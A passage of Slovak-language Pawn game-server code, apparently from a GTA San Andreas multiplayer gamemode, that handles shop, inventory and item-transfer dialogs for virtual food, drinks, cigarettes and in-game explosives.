            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Gym3)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid,"~g~Gym", "~w~Naucil si sa novy bojovy styl:~n~~y~KNEEHEAD", 3000);
                Player[playerid][FightingStyle] = FIGHT_STYLE_KNEEHEAD;
                SetPlayerFightingStyle(playerid, Player[playerid][FightingStyle]);
                SetTimerEx("IsPlayerInPickupFalse", 3500, 0, "i", playerid);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_BombShop)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid,Dialog_BombShop,DIALOG_STYLE_LIST,"BombShop","Svetlica (100$)\nDynamit (1000$)\nMína (5800$)\nRaptor (12000$)\nPredator (50000$)","Kupit","Cancel");

                new price;

                if(listitem == 0) price=100;
                if(listitem == 1) price=1000;
                if(listitem == 2) price=5800;
                if(listitem == 3) price=12000;
                if(listitem == 4) price=50000;

                if(GetPlayerACMoney(playerid) < price) return FormatPlayerInfoBox(playerid, "~g~Bomb Shop", "~r~Nemas dostatok penazi!", 1000);
                else
                {
                    GivePlayerACMoney(playerid, -price);
                    FormatPlayerInfoBox(playerid, "~g~Bomb Shop", "~w~Kupil si si bombu!", 1000);

                    if(listitem == 0) Player[playerid][Svetlica]++;
                    if(listitem == 1) Player[playerid][Dynamit]++;
                    if(listitem == 2) Player[playerid][Mina]++;
                    if(listitem == 3) Player[playerid][Raptor]++;
                    if(listitem == 4) Player[playerid][Predator]++;
                }
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",1000,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_InventarShop)
        {
            if(response == 1)
            {
                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_InventarShop_1,DIALOG_STYLE_INPUT,"Obchod / Bagety","1 ks / 25$\n\nZadaj počet baget ktoré chceš koupiť:","Kupit","Cancel");
                if(listitem == 1) ShowPlayerDialog(playerid,Dialog_InventarShop_2,DIALOG_STYLE_INPUT,"Obchod / Sprunk","1 ks / 50$\n\nZadaj počet sprunkov ktoré chceš kupiť:","Kupit","Cancel");
                if(listitem == 2) ShowPlayerDialog(playerid,Dialog_InventarShop_3,DIALOG_STYLE_INPUT,"Obchod / Pivo","1 ks / 80$\n\nZadaj počet pív ktoré chceš kupiť:","Kupit","Cancel");
                if(listitem == 3) ShowPlayerDialog(playerid,Dialog_InventarShop_4,DIALOG_STYLE_INPUT,"Obchod / Víno","1 ks / 300$\n\nZadaj počet vín ktoré chceš kupiť:","Kupit","Cancel");
                if(listitem == 4) ShowPlayerDialog(playerid,Dialog_InventarShop_5,DIALOG_STYLE_INPUT,"Obchod / Whisky","1 ks / 2250$\n\nZadaj počet whisky ktoré chceš kupiť:","Kupit","Cancel");
                if(listitem == 5) ShowPlayerDialog(playerid,Dialog_InventarShop_6,DIALOG_STYLE_INPUT,"Obchod / Cigarety","19 ks / 100$\n\nZadaj počet krabičiek (19 cig) které chceš kupiť:","Kupit","Cancel");
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",1250,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_InventarShop_1)
        {
            if(response == 1)
            {
                new price = strval(inputtext) * 25;

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_InventarShop_1,DIALOG_STYLE_INPUT,"Obchod / Bagety","{ff0000}Nezadal si počet !\n\n1 ks / 25$\n\nZadaj počet baget ktoré chceš kupiť:","Kupit","Cancel");
                else if(strval(inputtext) <= 0) return ShowPlayerDialog(playerid,Dialog_InventarShop_1,DIALOG_STYLE_INPUT,"Obchod / Bagety","{ff0000}Neplatná hodnota !\n\n1 ks / 25$\n\nZadaj počet baget ktoré chceš kupiť:","Kupit","Cancel");
                else if(GetPlayerACMoney(playerid) < price) return ShowPlayerDialog(playerid,Dialog_InventarShop_1,DIALOG_STYLE_INPUT,"Obchod / Bagety","{ff0000}Nemáš dostatok peňazí !\n\n1 ks / 25$\n\nZadaj počet baget ktoré chceš kupiť:","Kupit","Cancel");
                else
                {
                    GivePlayerACMoney(playerid, -price);
                    Player[playerid][Bagety]+=strval(inputtext);

                    new string[128];
                    format(string,128, "~w~Kupil si si ~y~%d~w~ baget za ~y~%d$~w~!", strval(inputtext), price);
                    FormatPlayerInfoBox(playerid, "~g~Obchod", string, 2750);

                    SetTimerEx("IsPlayerInPickupFalse",1000,0,"i",playerid);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",1250,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_InventarShop_2)
        {
            if(response == 1)
            {
                new price = strval(inputtext) * 50;

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_InventarShop_2,DIALOG_STYLE_INPUT,"Obchod / Sprunk","{ff0000}Nezadal si počet !\n\n1 ks / 50$\n\nZadaj počet sprunkov ktoré chceš kupiť:","Kupit","Cancel");
                else if(strval(inputtext) <= 0) return ShowPlayerDialog(playerid,Dialog_InventarShop_2,DIALOG_STYLE_INPUT,"Obchod / Sprunk","{ff0000}Neplatná hodnota !\n\n1 ks / 50$\n\nZadaj počet sprunkov ktoré chceš kupiť:","Kupit","Cancel");
                else if(GetPlayerACMoney(playerid) < price) return ShowPlayerDialog(playerid,Dialog_InventarShop_2,DIALOG_STYLE_INPUT,"Obchod / Sprunk","{ff0000}Nemáš dostatok peňazí !\n\n1 ks / 50$\n\nZadaj počet sprunkov ktoré chceš kupiť:","Kupit","Cancel");
                else
                {
                    GivePlayerACMoney(playerid, -price);
                    Player[playerid][Sprunk]+=strval(inputtext);

                    new string[128];
                    format(string,128, "~w~Kupil si si ~y~%d~w~ sprunkov za ~y~%d$~w~!", strval(inputtext), price);
                    FormatPlayerInfoBox(playerid, "~g~Obchod", string, 2750);

                    SetTimerEx("IsPlayerInPickupFalse",1000,0,"i",playerid);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",1250,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_InventarShop_3)
        {
            if(response == 1)
            {
                new price = strval(inputtext) * 80;

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_InventarShop_3,DIALOG_STYLE_INPUT,"Obchod / Pivo","{ff0000}Nezadal si počet !\n\n1 ks / 80$\n\nZadaj počet pív ktoré chceš kupiť:","Kupit","Cancel");
                else if(strval(inputtext) <= 0) return ShowPlayerDialog(playerid,Dialog_InventarShop_3,DIALOG_STYLE_INPUT,"Obchod / Pivo","{ff0000}Neplatná hodnota !\n\n1 ks / 80$\n\nZadaj počet pív ktoré chceš kupiť:","Kupit","Cancel");
                else if(GetPlayerACMoney(playerid) < price) return ShowPlayerDialog(playerid,Dialog_InventarShop_3,DIALOG_STYLE_INPUT,"Pivo / Bagety","{ff0000}Nemáš dostatok peňazí !\n\n1 ks / 80$\n\nZadaj počet pív ktoré chceš kupiť:","Kupit","Cancel");
                else
                {
                    GivePlayerACMoney(playerid, -price);
                    Player[playerid][Pivo]+=strval(inputtext);

                    new string[128];
                    format(string,128, "~w~Kupil si si ~y~%d~w~ piv za ~y~%d$~w~!", strval(inputtext), price);
                    FormatPlayerInfoBox(playerid, "~g~Obchod", string, 2750);

                    SetTimerEx("IsPlayerInPickupFalse",1000,0,"i",playerid);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",1250,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_InventarShop_4)
        {
            if(response == 1)
            {
                new price = strval(inputtext) * 300;

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_InventarShop_4,DIALOG_STYLE_INPUT,"Obchod / Víno","{ff0000}Nezadal si počet !\n\n1 ks / 300$\n\nZadaj počet vín ktoré chceš kupiť:","Kupit","Cancel");
                else if(strval(inputtext) <= 0) return ShowPlayerDialog(playerid,Dialog_InventarShop_4,DIALOG_STYLE_INPUT,"Obchod / Víno","{ff0000}Neplatná hodnota !\n\n1 ks / 300$\n\nZadaj počet vín ktoré chceš kupiť:","Kupit","Cancel");
                else if(GetPlayerACMoney(playerid) < price) return ShowPlayerDialog(playerid,Dialog_InventarShop_4,DIALOG_STYLE_INPUT,"Obchod / Víno","{ff0000}Nemáš dostatok peňazí !\n\n1 ks / 300$\n\nZadaj počet vín ktoré chceš kupiť:","Kupit","Cancel");
                else
                {
                    GivePlayerACMoney(playerid, -price);
                    Player[playerid][Vino]+=strval(inputtext);

                    new string[128];
                    format(string,128, "~w~Kupil si si ~y~%d~w~ vin za ~y~%d$~w~!", strval(inputtext), price);
                    FormatPlayerInfoBox(playerid, "~g~Obchod", string, 2750);

                    SetTimerEx("IsPlayerInPickupFalse",1000,0,"i",playerid);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",1250,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_InventarShop_5)
        {
            if(response == 1)
            {
                new price = strval(inputtext) * 2250;

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_InventarShop_5,DIALOG_STYLE_INPUT,"Obchod / Whisky","{ff0000}Nezadal si počet !\n\n1 ks / 2250$\n\nZadaj počet whisky ktoré chceš kupiť:","Kupit","Cancel");
                else if(strval(inputtext) <= 0) return ShowPlayerDialog(playerid,Dialog_InventarShop_5,DIALOG_STYLE_INPUT,"Obchod / Whisky","{ff0000}Neplatná hodnota !\n\n1 ks / 2250$\n\nZadaj počet whisky ktoré chceš kupiť:","Kupit","Cancel");
                else if(GetPlayerACMoney(playerid) < price) return ShowPlayerDialog(playerid,Dialog_InventarShop_5,DIALOG_STYLE_INPUT,"Obchod / Whisky","{ff0000}Nemáš dostatok peňazí !\n\n1 ks / 2250$\n\nZadaj počet whisky ktoré chceš kupiť:","Kupit","Cancel");
                else
                {
                    GivePlayerACMoney(playerid, -price);
                    Player[playerid][Whisky]+=strval(inputtext);

                    new string[128];
                    format(string,128, "~w~Kupil si si ~y~%d~w~ whisky za ~y~%d$~w~!", strval(inputtext), price);
                    FormatPlayerInfoBox(playerid, "~g~Obchod", string, 2750);

                    SetTimerEx("IsPlayerInPickupFalse",1000,0,"i",playerid);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",1250,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_InventarShop_6)
        {
            if(response == 1)
            {
                new price = strval(inputtext) * 100;

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_InventarShop_6,DIALOG_STYLE_INPUT,"Obchod / Cigarety","{ff0000}Nezadal si počet !\n\n1 ks / 100$\n\nZadaj počet krabičiek (19 cig) ktoré chceš kupiť:","Kupit","Cancel");
                else if(strval(inputtext) <= 0) return ShowPlayerDialog(playerid,Dialog_InventarShop_6,DIALOG_STYLE_INPUT,"Obchod / Cigarety","{ff0000}Neplatná hodnota !\n\n1 ks / 100$\n\nZadaj počet krabičiek (19 cig) ktoré chceš kupiť:","Kupit","Cancel");
                else if(GetPlayerACMoney(playerid) < price) return ShowPlayerDialog(playerid,Dialog_InventarShop_6,DIALOG_STYLE_INPUT,"Obchod / Cigarety","{ff0000}Nemáš dostatok peňazí !\n\n1 ks / 100$\n\nZadaj počet krabičiek (19 cig) ktoré chceš kupiť:","Kupit","Cancel");
                else
                {
                    GivePlayerACMoney(playerid, -price);
                    Player[playerid][Cigarety]+=(strval(inputtext) * 19);

                    new string[128];
                    format(string,128, "~w~Kupil si si ~y~%d~w~ cigaret za ~y~%d$~w~!", (strval(inputtext) * 19), price);
                    FormatPlayerInfoBox(playerid, "~g~Obchod", string, 2750);

                    SetTimerEx("IsPlayerInPickupFalse",1000,0,"i",playerid);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",1250,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Inventar_1)
        {
            if(response == 1)
            {
                if(InvType[playerid][listitem] == 0)
                {
                    if(Player[playerid][CanEatInvB] == false) return FormatPlayerInfoBox(playerid, "~g~Inventar", "~r~Bagetu mozes jest iba jeden krat za 30 sekund!", 2500);
                    else
                    {
                        Player[playerid][Bagety]--;
                        FormatPlayerInfoBox(playerid, "~g~Inventar", "Dal si si Bagetu", 2000);

                        new Float:hp;
                        GetPlayerHealth(playerid, hp);
                        SetPlayerHealth(playerid, hp+20);
                        GetPlayerHealth(playerid, hp);
                        if(hp >= 100) SetPlayerHealth(playerid, 100.0);

                        Player[playerid][CanEatInvB]=false;
                        SetTimerEx("CanEatInvBTrue",30000,0,"i",playerid);
                    }
                }

                if(InvType[playerid][listitem] == 1)
                {
                    Player[playerid][Sprunk]--;
                    FormatPlayerInfoBox(playerid, "~g~Inventar", "Otvoril si si Sprunk", 2000);

                    SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)-2000);
                    if(GetPlayerDrunkLevel(playerid)<=0) SetPlayerDrunkLevel(playerid,0);
                    SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
                }

                if(InvType[playerid][listitem] == 2)
                {
                    Player[playerid][Pivo]--;
                    FormatPlayerInfoBox(playerid, "~g~Inventar", "Otvoril si si Pivo", 2000);

                    SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+2200);
                    if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                    SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_BEER);
                }

                if(InvType[playerid][listitem] == 3)
                {
                    Player[playerid][Vino]--;
                    FormatPlayerInfoBox(playerid, "~g~Inventar", "Otvoril si si Vino", 2000);

                    SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+3775);
                    if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                    SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
                }

                if(InvType[playerid][listitem] == 4)
                {
                    Player[playerid][Whisky]--;
                    FormatPlayerInfoBox(playerid, "~g~Inventar", "Otvoril si si Whisky", 2000);

                    SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+5100);
                    if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                    SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Inventar_2)
        {
            if(response == 1)
            {
                new Float:x, Float:y, Float:z, bombid;
                GetPlayerPos(playerid, x,y,z);

                for(new bmb=0; bmb<MAX_CREATED_BOMBS; bmb++)
                {
                    if(INV_BombStatus[bmb] == false)
                    {
                        bombid = bmb;
                        if(bmb >= Server[CreatedBombs]) Server[CreatedBombs] = bmb+1;
                        break;
                    }
                }

                if(InvType[playerid][listitem] == 0)
                {
                    Player[playerid][Svetlica]--;
                    INV_BombID[bombid] = CreateObject(354,x,y,z-0.875,0,0,0);
                    SetTimerEx("DestroyINVObjectSvetlica",10000,0,"i",bombid);
                    FormatPlayerInfoBox(playerid, "~g~Inventar","Ulozil si si svetlicu.",2000);
                    INV_Bomb_T[bombid]=0;
                    INV_BombStatus[bombid]=true;
                }
                if(InvType[playerid][listitem] == 1)
                {
                    Player[playerid][Dynamit]--;
                    INV_BombID[bombid] = CreateObject(1654,x,y,z-0.835947,270,90,0);
                    SetTimerEx("DestroyINVObjectDynamit",10000,0,"i",bombid);
                    FormatPlayerInfoBox(playerid, "~g~Inventar","Ulozil si si dynamit.~n~Odpalenie: 10s",2000);
                    INV_Bomb_T[bombid]=1;
                    INV_BombStatus[bombid]=true;
                }
                if(InvType[playerid][listitem] == 2)
                {
                    Player[playerid][Mina]--;
                    INV_BombID[bombid] = CreateObject(1213,x,y,z-0.935947,0,0,0);
                    SetTimerEx("DestroyINVObjectMina1",5000,0,"i",bombid);
                    FormatPlayerInfoBox(playerid, "~g~Inventar","Ulozil si si minu.~n~Aktivacia za: 5s",2000);
                    INV_Bomb_M_S[bombid]=false;
                    INV_Bomb_T[bombid]=2;
                    INV_Bomb_M_TimeLeft[bombid]=30;
                    INV_BombStatus[bombid]=true;
                }
                if(InvType[playerid][listitem] == 3)
                {
                    Player[playerid][Raptor]--;
                    INV_BombID[bombid] = CreateObject(1252,x,y,z-0.895947,270,0,0);
                    SetTimerEx("DestroyINVObjectRaptor",10000,0,"i",bombid);
                    FormatPlayerInfoBox(playerid, "~g~Inventar","Ulozil si si raptora.~n~Odpalenie: 10s",2000);
                    INV_Bomb_T[bombid]=3;
                    INV_BombStatus[bombid]=true;
                }
                if(InvType[playerid][listitem] == 4)
                {
                    Player[playerid][Predator]--;
                    INV_BombID[bombid] = CreateObject(1252,x,y,z-0.895947,270,0,0);
                    SetTimerEx("DestroyINVObjectPredator",10000,0,"i",bombid);
                    FormatPlayerInfoBox(playerid, "~g~Inventar","Ulozil si si predatora.~n~Odpalenie: 10s",2000);
                    INV_Bomb_T[bombid]=4;
                    INV_BombStatus[bombid]=true;
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Inventar_4)
        {
            if(response == 1)
            {
                if(InvType[playerid][listitem] == 0)
                {
                    FormatPlayerInfoBox(playerid, "~g~Inventar", "~r~Marihuanu musis spracovat aby si mal jointa!", 2500);
                }

                if(InvType[playerid][listitem] == 1)
                {
                    Player[playerid][Cigarety]--;
                    FormatPlayerInfoBox(playerid, "~g~Inventar", "Zapalil si si Cigaretu", 2000);

                    SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+1800);
                    if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                    SetPlayerSpecialAction(playerid,SPECIAL_ACTION_SMOKE_CIGGY);
                }
                if(InvType[playerid][listitem] == 2)
                {
                    Player[playerid][Cigarety]--;
                    FormatPlayerInfoBox(playerid, "~g~Inventar", "Zapalil si si Jointa", 2000);

                    SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+5600);
                    if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                    SetPlayerSpecialAction(playerid,SPECIAL_ACTION_SMOKE_CIGGY);
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_GiveItem_Item1)
        {
            if(response == 1)
            {
                new id = Player[playerid][GiveItem_PID];

                if(IsPlayerConnected(id))
                {
                    Player[playerid][GiveItem_ItemID] = InvType[playerid][listitem];

                    new n[24], item[32], item_p=0;
                    GetPlayerName(id, n, 24);

                    if(Player[playerid][GiveItem_ItemID] == 0) { item="Bageta"; item_p=Player[playerid][Bagety]; }
                    if(Player[playerid][GiveItem_ItemID] == 1) { item="Sprunk"; item_p=Player[playerid][Sprunk]; }
                    if(Player[playerid][GiveItem_ItemID] == 2) { item="Pivo"; item_p=Player[playerid][Pivo]; }
                    if(Player[playerid][GiveItem_ItemID] == 3) { item="Víno"; item_p=Player[playerid][Vino]; }
                    if(Player[playerid][GiveItem_ItemID] == 4) { item="Whisky"; item_p=Player[playerid][Whisky]; }

                    new string1[64], string2[256];

                    format(string1, 64, "{ffff00}%s", n);
                    format(string2,256, "{ffff50}Položka: {ff0000}%s\n{ffff50}Počet v inventári: {ff0000}%d\n\n{ffff50}Zadaj množstvo, ktoré chceš hráčovi podať:", item, item_p);

                    ShowPlayerDialog(playerid,Dialog_GiveItem_Pocet,DIALOG_STYLE_INPUT,string1,string2,"Podat","Cancel");
                }
                else return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč sa medzitým odpojil !");
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_GiveItem_Item2)
        {
            if(response == 1)
            {
                new id = Player[playerid][GiveItem_PID];

                if(IsPlayerConnected(id))
                {
                    Player[playerid][GiveItem_ItemID] = InvType[playerid][listitem]+5;

                    new n[24], item[32], item_p=0;
                    GetPlayerName(id, n, 24);

                    if(Player[playerid][GiveItem_ItemID] == 5) { item="Svetlica"; item_p=Player[playerid][Svetlica]; }
                    if(Player[playerid][GiveItem_ItemID] == 6) { item="Dynamit"; item_p=Player[playerid][Dynamit]; }
                    if(Player[playerid][GiveItem_ItemID] == 7) { item="Mína"; item_p=Player[playerid][Mina]; }
                    if(Player[playerid][GiveItem_ItemID] == 8) { item="Raptor"; item_p=Player[playerid][Raptor]; }
                    if(Player[playerid][GiveItem_ItemID] == 9) { item="Predator"; item_p=Player[playerid][Predator]; }

                    new string1[64], string2[256];

                    format(string1, 64, "{ffff00}%s", n);
                    format(string2,256, "{ffff50}Položka: {ff0000}%s\n{ffff50}Počet v inventári: {ff0000}%d\n\n{ffff50}Zadaj množstvo, ktoré chceš hráčovi podať:", item, item_p);

                    ShowPlayerDialog(playerid,Dialog_GiveItem_Pocet,DIALOG_STYLE_INPUT,string1,string2,"Podat","Cancel");
                }
                else return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč sa medzitým odpojil !");
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_GiveItem_Item4)
        {
            if(response == 1)
            {
                new id = Player[playerid][GiveItem_PID];

                if(IsPlayerConnected(id))
                {
                    Player[playerid][GiveItem_ItemID] = InvType[playerid][listitem]+10;

                    new n[24], item[32], item_p=0;
                    GetPlayerName(id, n, 24);

                    if(Player[playerid][GiveItem_ItemID] == 10) { item="Marihuana"; item_p=Player[playerid][Marihuana]; }
                    if(Player[playerid][GiveItem_ItemID] == 11) { item="Cigarety"; item_p=Player[playerid][Cigarety]; }
                    if(Player[playerid][GiveItem_ItemID] == 12) { item="Jointy"; item_p=Player[playerid][Jointy]; }

                    new string1[64], string2[256];

                    format(string1, 64, "{ffff00}%s", n);
                    format(string2,256, "{ffff50}Položka: {ff0000}%s\n{ffff50}Počet v inventári: {ff0000}%d\n\n{ffff50}Zadaj množstvo, ktoré chceš hráčovi podať:", item, item_p);

                    ShowPlayerDialog(playerid,Dialog_GiveItem_Pocet,DIALOG_STYLE_INPUT,string1,string2,"Podat","Cancel");
                }
                else return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč sa medzitým odpojil !");
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_GiveItem_Pocet)
        {
            if(response == 1)
            {
                new id = Player[playerid][GiveItem_PID];

                if(IsPlayerConnected(id))
                {
                    new n[24], item[32], item_p=0;
                    GetPlayerName(id, n, 24);

                    if(Player[playerid][GiveItem_ItemID] == 0) { item="Bageta"; item_p=Player[playerid][Bagety]; }
                    if(Player[playerid][GiveItem_ItemID] == 1) { item="Sprunk"; item_p=Player[playerid][Sprunk]; }
                    if(Player[playerid][GiveItem_ItemID] == 2) { item="Pivo"; item_p=Player[playerid][Pivo]; }
                    if(Player[playerid][GiveItem_ItemID] == 3) { item="Víno"; item_p=Player[playerid][Vino]; }
                    if(Player[playerid][GiveItem_ItemID] == 4) { item="Whisky"; item_p=Player[playerid][Whisky]; }
                    if(Player[playerid][GiveItem_ItemID] == 5) { item="Svetlica"; item_p=Player[playerid][Svetlica]; }
                    if(Player[playerid][GiveItem_ItemID] == 6) { item="Dynamit"; item_p=Player[playerid][Dynamit]; }
                    if(Player[playerid][GiveItem_ItemID] == 7) { item="Mína"; item_p=Player[playerid][Mina]; }
                    if(Player[playerid][GiveItem_ItemID] == 8) { item="Raptor"; item_p=Player[playerid][Raptor]; }
                    if(Player[playerid][GiveItem_ItemID] == 9) { item="Predator"; item_p=Player[playerid][Predator]; }
                    if(Player[playerid][GiveItem_ItemID] == 10) { item="Marihuana"; item_p=Player[playerid][Marihuana]; }
                    if(Player[playerid][GiveItem_ItemID] == 11) { item="Cigarety"; item_p=Player[playerid][Cigarety]; }
                    if(Player[playerid][GiveItem_ItemID] == 12) { item="Jointy"; item_p=Player[playerid][Jointy]; }

                    new string1[64], string2[256];

                    format(string1, 64, "{ffff00}%s", n);

                    if(!strlen(inputtext))
                    {
                        format(string2,256, "{ff0000}Nezadal si počet !\n\n{ffff50}Položka: {ff0000}%s\n{ffff50}Počet v inventári: {ff0000}%d\n\n{ffff50}Zadaj množstvo, ktoré chceš hráčovi podať:", item, item_p);
                        return ShowPlayerDialog(playerid,Dialog_GiveItem_Pocet,DIALOG_STYLE_INPUT,string1,string2,"Podat","Cancel");
                    }
                    else if(strval(inputtext) <= 0)
                    {
                        format(string2,256, "{ff0000}Neplatná hodnota !\n\n{ffff50}Položka: {ff0000}%s\n{ffff50}Počet v inventári: {ff0000}%d\n\n{ffff50}Zadaj množstvo, ktoré chceš hráčovi podať:", item, item_p);
                        return ShowPlayerDialog(playerid,Dialog_GiveItem_Pocet,DIALOG_STYLE_INPUT,string1,string2,"Podat","Cancel");
                    }
                    else if(strval(inputtext) > item_p)
                    {
                        format(string2,256, "{ff0000}Nemáš dostatočné množstvo !\n\n{ffff50}Položka: {ff0000}%s\n{ffff50}Počet v inventári: {ff0000}%d\n\n{ffff50}Zadaj množstvo, ktoré chceš hráčovi podať:", item, item_p);
                        return ShowPlayerDialog(playerid,Dialog_GiveItem_Pocet,DIALOG_STYLE_INPUT,string1,string2,"Podat","Cancel");
                    }
                    else
                    {
                        new string[256], n2[24], amount = strval(inputtext);

                        GetPlayerName(playerid, n2, 24);

                        format(string,256, "Podal si hráčovi %s položku %s, množstvo %d.", n, item, amount);
                        SendClientMessage(playerid, COLOR_GREEN, string);

                        format(string,256, "Hráč %s ti podal položku %s, množstvo %d.", n2, item, amount);
                        SendClientMessage(id, COLOR_GREEN, string);

                        if(Player[playerid][GiveItem_ItemID] == 0)
                        {
                            Player[playerid][Bagety]-=amount;
                            Player[id][Bagety]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 1)
                        {
                            Player[playerid][Sprunk]-=amount;
                            Player[id][Sprunk]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 2)
                        {
                            Player[playerid][Pivo]-=amount;
                            Player[id][Pivo]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 3)
                        {
                            Player[playerid][Vino]-=amount;
                            Player[id][Vino]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 4)
                        {
                            Player[playerid][Whisky]-=amount;
                            Player[id][Whisky]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 5)
                        {
                            Player[playerid][Svetlica]-=amount;
                            Player[id][Svetlica]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 6)
                        {
                            Player[playerid][Dynamit]-=amount;
                            Player[id][Dynamit]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 7)
                        {
                            Player[playerid][Mina]-=amount;
                            Player[id][Mina]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 8)
                        {
                            Player[playerid][Raptor]-=amount;
                            Player[id][Raptor]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 9)
                        {
                            Player[playerid][Predator]-=amount;
                            Player[id][Predator]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 10)
                        {
                            Player[playerid][Marihuana]-=amount;
                            Player[id][Marihuana]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 11)
                        {
                            Player[playerid][Cigarety]-=amount;
                            Player[id][Cigarety]+=amount;
                        }
                        else if(Player[playerid][GiveItem_ItemID] == 12)
                        {
                            Player[playerid][Jointy]-=amount;
                            Player[id][Jointy]+=amount;
                        }
                    }
                }
                else return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč sa medzitým odpojil !");
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_GiveItem_Item)
        {
            if(response == 1)
            {
                new bool:G_iS[10];
                new G_iP[10];
                new G_iT=0;
                new G_iN[10][16];
                new G_string[256];

                if(listitem == 0)
                {
                    for(new i=0; i<5; i++) { G_iS[i]=false; }

                    for(new i=0; i<5; i++)
                    {
                        if(i == 0) if(Player[playerid][Bagety] > 0) G_iS[i]=true;
                        if(i == 1) if(Player[playerid][Sprunk] > 0) G_iS[i]=true;
                        if(i == 2) if(Player[playerid][Pivo] > 0) G_iS[i]=true;
                        if(i == 3) if(Player[playerid][Vino] > 0) G_iS[i]=true;
                        if(i == 4) if(Player[playerid][Whisky] > 0) G_iS[i]=true;
                    }

                    if(G_iS[0] == false && G_iS[1] == false && G_iS[2] == false && G_iS[3] == false && G_iS[4] == false) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_LIST,"Inventár / Jedlo a pitie","{ff0000}V tejto zložke nemáš nič !","Cancel","");
                    else
                    {
                        for(new i=0; i<5; i++)
                        {
                            if(G_iS[i] == true)
                            {
                                if(i == 0) { G_iN[G_iT]="Bagety"; G_iP[G_iT]=Player[playerid][Bagety]; InvType[playerid][G_iT]=i; }
                                if(i == 1) { G_iN[G_iT]="Sprunk"; G_iP[G_iT]=Player[playerid][Sprunk]; InvType[playerid][G_iT]=i; }
                                if(i == 2) { G_iN[G_iT]="Pivo"; G_iP[G_iT]=Player[playerid][Pivo]; InvType[playerid][G_iT]=i; }
                                if(i == 3) { G_iN[G_iT]="Víno"; G_iP[G_iT]=Player[playerid][Vino]; InvType[playerid][G_iT]=i; }
                                if(i == 4) { G_iN[G_iT]="Whisky"; G_iP[G_iT]=Player[playerid][Whisky]; InvType[playerid][G_iT]=i; }

                                G_iT++;
                            }
                        }

